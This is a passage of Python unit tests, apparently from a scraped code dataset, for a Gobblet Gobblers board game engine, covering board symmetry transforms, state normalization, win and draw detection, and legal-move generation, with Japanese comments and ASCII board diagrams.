ox-\n # ---\n # ---\n # large\n # ---\n # x--\n # -o-\n #\n # small\n # -xo\n # ---\n # ---\n # large\n # ---\n # --x\n # -o-\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 0, 0]),\n ([0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1, 0, 0, 0])),\n\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.vertical_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n # 横に線対称のStateを作成\n # - 空\n # - コマあり1\n def test_horizontal_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # x--\n # -o-\n #\n # small\n # ---\n # ---\n # ox-\n # large\n # -o-\n # x--\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0, 0, 0, 0, 0])),\n\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.horizontal_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n # 左上から斜めに線対称のStateを作成\n # - 空\n # - コマあり1\n def test_upper_left_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # x--\n # -o-\n #\n # small\n # o--\n # x--\n # ---\n # large\n # -x-\n # --o\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 0, 0]),\n ([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0, 0])),\n\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.upper_left_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n # 右上から斜めに線対称のStateを作成\n # - 空\n # - コマあり1\n def test_upper_right_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # x--\n # -o-\n #\n # small\n # ---\n # --x\n # --o\n # large\n # ---\n # o--\n # -x-\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 1, 0])),\n\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.upper_right_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n\nclass TestNormalizeState(unittest.TestCase):\n # 正規化(対称で最も小さい盤面に変換)したStateを作成\n # - 空\n # - my_small_pieces\n # - 中央\n # - 角\n # - 辺\n # - enemy_small_pieces\n # - 中央\n # - 角\n # - 辺\n # - my_large_pieces\n # - 中央\n # - 角\n # - 辺\n # - enemy_large_pieces\n # - 中央\n # - 角\n # - 辺\n # - my_small_piecesとenemy_small_pieces(それぞれrotate180, rotate270で最も小さくなるが、組み合わせだとrotate180が最小)\n # - my_large_piecesとenemy_large_pieces(それぞれhorizontal, rotate90で最も小さくなるが、組み合わせだとhorizontalが最小)\n # - my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces(組み合わせだとupper_leftが最小)\n def test_normalize_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n 0b_000_000_000_000_000_000_000_000_000_000_000_000),\n\n # my_small_pieces(中央)\n # small\n # ---\n # -o-\n # ---\n # normalize_pieces\n # small\n # ---\n # -o-\n # ---\n (([0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_ 000_010_000 _000_000_000_000_000_000_000_000_000\n 0b_000_010_000_000_000_000_000_000_000_000_000_000),\n\n # my_small_pieces(角)\n # small\n # o--\n # ---\n # ---\n # normalize_pieces\n # small\n # ---\n # ---\n # --o\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_ 100_000_000 _000_000_000_000_000_000_000_000_000\n 0b_000_000_001_000_000_000_000_000_000_000_000_000),\n\n # my_small_pieces(辺)\n # small\n # -o-\n # ---\n # ---\n # normalize_pieces\n # small\n # ---\n # ---\n # -o-\n (([0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_ 010_000_000 _000_000_000_000_000_000_000_000_000\n 0b_000_000_010_000_000_000_000_000_000_000_000_000),\n\n # enemy_small_pieces(中央)\n # small\n # ---\n # -x-\n # ---\n # normalize_pieces\n # small\n # ---\n # -x-\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_ 000_010_000 _000_000_000_000_000_000\n 0b_000_000_000_000_010_000_000_000_000_000_000_000),\n\n # enemy_small_pieces(角)\n # small\n # x--\n # ---\n # ---\n # normalize_pieces\n # small\n # ---\n # ---\n # --x\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_ 100_000_000 _000_000_000_000_000_000\n 0b_000_000_000_000_000_001_000_000_000_000_000_000),\n\n # enemy_small_pieces(辺)\n # small\n # -x-\n # ---\n # ---\n # normalize_pieces\n # small\n # ---\n # ---\n # -x-\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_ 010_000_000 _000_000_000_000_000_000\n 0b_000_000_000_000_000_010_000_000_000_000_000_000),\n\n # my_large_pieces(中央)\n # large\n # ---\n # -o-\n # ---\n # normalize_pieces\n # large\n # ---\n # -o-\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],[0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_000_000_000_ 000_010_000 _000_000_000\n 0b_000_000_000_000_000_000_000_010_000_000_000_000),\n\n # my_large_pieces(角)\n # large\n # o--\n # ---\n # ---\n # normalize_pieces\n # large\n # ---\n # ---\n # --o\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],[1, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_000_000_000_ 100_000_000 _000_000_000\n 0b_000_000_000_000_000_000_000_000_001_000_000_000),\n\n # my_large_pieces(辺)\n # large\n # -o-\n # ---\n # ---\n # normalize_pieces\n # large\n # ---\n # ---\n # -o-\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_000_000_000_ 010_000_000 _000_000_000\n 0b_000_000_000_000_000_000_000_000_010_000_000_000),\n\n # enemy_large_pieces(中央)\n # large\n # ---\n # -x-\n # ---\n # normalize_pieces\n # large\n # ---\n # -x-\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],), # 0b_000_000_000_000_000_000_000_000_000_ 000_010_000\n 0b_000_000_000_000_000_000_000_000_000_000_010_000),\n\n # enemy_large_pieces(角)\n # large\n # x--\n # ---\n # ---\n # normalize_pieces\n # large\n # ---\n # ---\n # --x\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [1, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_000_000_000_000_000_000_ 100_000_000\n 0b_000_000_000_000_000_000_000_000_000_000_000_001),\n\n # enemy_large_pieces(辺)\n # large\n # -x-\n # ---\n # ---\n # normalize_pieces\n # large\n # ---\n # ---\n # -x-\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0, 0]), # 0b_000_000_000_000_000_000_000_000_000_010_000_000\n 0b_000_000_000_000_000_000_000_000_000_000_000_010),\n\n # my_small_piecesとenemy_small_pieces(それぞれrotate180, rotate270で最も小さくなるが、組み合わせだとrotate180が最小)\n # small\n # o--\n # x--\n # ---\n # normalize_pieces\n # small\n # ---\n # ---\n # -xo\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), # 0b_ 100_000_000 _ 000_100_000 _000_000_000_010_000_000\n 0b_000_000_001_000_000_010_000_000_000_000_000_000),\n\n # my_large_piecesとenemy_large_pieces(それぞれhorizontal, rotate90で最も小さくなるが、組み合わせだとhorizontalが最小)\n # large\n # -oo\n # --x\n # ---\n # normalize_pieces\n # large\n # ---\n # --x\n # -oo\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 1, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 1, 0, 0, 0]), # 0b_000_000_000_000_000_000 _011_000_000 _ 000_001_000\n 0b_000_000_000_000_000_000_000_000_011_000_001_000),\n\n # my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces(組み合わせだとupper_leftが最小)\n # small\n # --x\n # --o\n # --o\n # large\n # -oo\n # --x\n # ---\n # normalize_pieces\n # small\n # ---\n # ---\n # xoo\n # large\n # ---\n # o--\n # ox-\n (([0, 0, 0, 0, 0, 1, 0, 0, 1], [0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 1, 1, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 1, 0, 0, 0]), # 0b_ 000_001_001 _ 001_000_000 _ 011_000_000 _ 000_001_000\n 0b_000_000_011_000_000_100_000_100_100_000_000_010),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 正規化したstateのpiecesのbinary表現\n state = convert.normalize_state(state)\n actual = state.get_pieces_for_binary()\n self.assertEqual(bin(expect), bin(actual))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "8771811", "language": "Python", "matching_score": 4.282817363739014, "max_stars_count": 1, "path": "tests/test_state_convert.py" }, { "content": "# coding=utf-8\nimport unittest\nimport gobbletgobblers as game\n\n\nclass TestState(unittest.TestCase):\n # 初期化のテスト\n # 以下の条件で正しく初期化ができる\n # - 空\n # - smallのみ\n # - largeのみ\n # - smallとlargeの重なりなし\n # - smallとlargeの重なりあり\n # - smallとlargeの重なりあり色重なりあり\n def test___init__(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # smallのみ\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ox-\n # ---\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0])),\n\n # largeのみ\n # small\n # ---\n # ---\n # ---\n # large\n # ox-\n # ---\n # ---\n # ↓\n #\n # visible\n # ox-\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0])),\n\n # small, large重なりなし\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # ox-\n # ---\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0]),\n ([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0], [1, 0, 0, 1, 0, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 0, 0, 0])),\n\n # small, large重なりあり\n # small\n # ox-\n # ---\n # ox-\n # large\n # ---\n # ox-\n # ox-\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ox-\n (([1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 1, 0]),\n ([1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 1, 0], [1, 0, 0, 1, 0, 0, 1, 0, 0], [0, 1, 0, 0, 1, 0, 0, 1, 0])),\n\n # # small, large重なりあり色重なり\n # small\n # oxo\n # --x\n # ox-\n # large\n # --o\n # oxx\n # ox-\n # ↓\n #\n # visible\n # oxo\n # oxx\n # ox-\n (([1, 0, 1, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 1, 0, 1, 0]),\n ([1, 0, 1, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 1, 0, 1, 0], [1, 0, 1, 1, 0, 0, 1, 0, 0], [0, 1, 0, 0, 1, 1, 0, 1, 0])),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # my_xx_pieces, enemy_xx_pieces, ... , enemy_xx_pieces\n actual = state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces, state.my_visible_pieces, state.enemy_visible_pieces\n self.assertEqual(expect, actual)\n\n # コマのカウントのテスト\n # 以下の条件で正しくカウントができる\n # - 0つ\n # - 1つ\n # - 2つ\n # - 9つ\n def test_piece_count(self):\n patterns = [\n # 0つ\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], 0),\n # piece\n # ---\n # ---\n # ---\n\n # 1つ\n ([1, 0, 0, 0, 0, 0, 0, 0, 0], 1),\n # piece\n # o--\n # ---\n # ---\n\n # 2つ\n ([0, 0, 1, 0, 1, 0, 0, 0, 0], 2),\n # piece\n # --o\n # -o-\n # ---\n\n # 9つ\n ([1, 1, 1, 1, 1, 1, 1, 1, 1], 9),\n # piece\n # ooo\n # ooo\n # ooo\n ]\n for input_param, expect_param in patterns:\n pieces = input_param\n state = game.State()\n expect = expect_param # num of pieces\n actual = state.piece_count(pieces)\n self.assertEqual(expect, actual)\n\n # 勝敗判定のテスト\n # 以下の条件で正しく負けを判定できる\n # - visible上で(ここではsmallで)\n # - 負けていない(空)\n # - 負けていない(oなし、x揃わず)\n # - 負けていない(o,x揃わず)\n # - 勝っている(oが揃う,x揃わず=負けていない)\n # - 縦並び(0,3,6)\n # - 縦並び(1,4,7)\n # - 縦並び(2,5,8)\n # - 横並び(0,1,2)\n # - 横並び2(3,4,5)\n # - 横並び3(6,7,8)\n # - 斜め並び1(0,4,8)\n # - 斜め並び2(2,4,6)\n def test_is_lose(self):\n patterns = [\n # 負けていない(空)\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None), False),\n\n # 負けていない(oなし、x揃わず)\n # small\n # -x-\n # x-x\n # -x-\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # -x-\n # x-x\n # -x-\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 1, 0, 1, 0, 1, 0], None, None), False),\n\n # 負けていない(o,x揃わず)\n # small\n # xox\n # xox\n # oxo\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # xox\n # xox\n # oxo\n (([0, 1, 0, 0, 1, 0, 1, 0, 1], [1, 0, 1, 1, 0, 1, 0, 1, 0], None, None), False),\n\n # 勝っている(oが揃う,x揃わず=負けていない)\n # small\n # xox\n # ooo\n # xox\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # small\n # xox\n # ooo\n # xox\n (([0, 1, 0, 1, 1, 1, 0, 1, 0], [1, 0, 1, 0, 0, 0, 1, 0, 1], None, None), False),\n\n # 縦並び(0,3,6)\n # small\n # x--\n # x--\n # x--\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # x--\n # x--\n # x--\n ((None, [1, 0, 0, 1, 0, 0, 1, 0, 0], None, None), True),\n\n # 縦並び(1,4,7)\n # small\n # -x-\n # -x-\n # -x-\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # -x-\n # -x-\n # -x-\n ((None, [0, 1, 0, 0, 1, 0, 0, 1, 0], None, None), True),\n\n # 縦並び(2,5,8)\n # small\n # --x\n # --x\n # --x\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # --x\n # --x\n # --x\n ((None, [0, 0, 1, 0, 0, 1, 0, 0, 1], None, None), True),\n\n # 横並び(0,1,2)\n # small\n # xxx\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # xxx\n # ---\n # ---\n ((None, [1, 1, 1, 0, 0, 0, 0, 0, 0], None, None), True),\n\n # 横並び(3,4,5)\n # small\n # ---\n # xxx\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # xxx\n # ---\n ((None, [0, 0, 0, 1, 1, 1, 0, 0, 0], None, None), True),\n\n # 横並び(6,7,8)\n # small\n # ---\n # ---\n # xxx\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # xxx\n ((None, [0, 0, 0, 0, 0, 0, 1, 1, 1], None, None), True),\n\n # 斜め並び1(0,4,8)\n # small\n # x--\n # -x-\n # --x\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # x--\n # -x-\n # --x\n ((None, [1, 0, 0, 0, 1, 0, 0, 0, 1], None, None), True),\n\n # 斜め並び2(2,4,6)\n # small\n # --x\n # -x-\n # x--\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # --x\n # -x-\n # x--\n ((None, [0, 0, 1, 0, 1, 0, 1, 0, 0], None, None), True),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # True or False\n actual = state.is_lose()\n self.assertEqual(expect, actual)\n\n # 引き分け判定のテスト\n # 以下の条件で正しく引き分けを判定できる\n # - 使用されたコマの合計が9つより少ない(引き分けじゃない)\n # - 空\n # - 8つ\n # - 使用されたコマの合計が9つ以上(引き分け)\n # - 9つ\n # - 10つ\n def test_is_draw(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None), False),\n\n # 8つ\n # small\n # oxo\n # x-x\n # oxo\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # oxo\n # x-x\n # oxo\n (([1, 0, 1, 0, 0, 0, 1, 0, 1], [0, 1, 0, 1, 0, 1, 0, 1, 0], None, None), False),\n\n # 9つ\n # small\n # xox\n # oox\n # xxo\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # xox\n # oox\n # xxo\n (([0, 1, 0, 1, 1, 0, 0, 0, 1], [1, 0, 1, 0, 0, 1, 1, 1, 0], None, None), True),\n\n # 10つ\n # small\n # xox\n # oox\n # xxo\n # large\n # ---\n # -o-\n # ---\n # ↓\n #\n # visible\n # xox\n # oox\n # xxo\n (([0, 1, 0, 1, 1, 0, 0, 0, 1], [1, 0, 1, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], None), True),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # True or False\n actual = state.is_done()\n self.assertEqual(expect, actual)\n\n # 合法手探索のテスト\n # - 空いているマスにはおける\n # - 同じ大きさのコマがあるところにはおけない(small)\n # - 同じ大きさのコマがあるところにはおけない(large)\n # - largeがあるマスにsmallはおけない, smallがあるマスにlargeはおける(small, large重なりなし)\n # - largeがあるマスにsmallはおけない, smallがあるマスにlargeはおける(small, large重なりあり)\n def test_legal_actions(self):\n patterns = [\n # 空いているマスにはおける\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None), [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17]),\n\n # 同じ大きさのコマがあるところにはおけない(small)\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ox-\n # ---\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], None, None),\n [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17]),\n\n # 同じ大きさのコマがあるところにはおけない(large)\n # small\n # ---\n # ---\n # ---\n # large\n # ox-\n # ---\n # ---\n # ↓\n #\n # visible\n # ox-\n # ---\n # ---\n ((None, None, [1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0]),\n [2, 3, 4, 5, 6, 7, 8, 11, 12, 13, 14, 15, 16, 17]),\n\n # largeがあるマスにsmallはおけない, smallがあるマスにlargeはおける(small, large重なりなし)\n # ox-\n # ---\n # ---\n # large\n # ---\n # ox-\n # ---\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0]), [2, 5, 6, 7, 8, 9, 10, 11, 14, 15, 16, 17]),\n\n # largeがあるマスにsmallはおけない, smallがあるマスにlargeはおける(small, large重なりあり)\n # small\n # ox-\n # ---\n # ox-\n # large\n # ---\n # ox-\n # ox-\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ox-\n (([1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 1, 0]), [2, 5, 8, 9, 10, 11, 14, 17])\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, 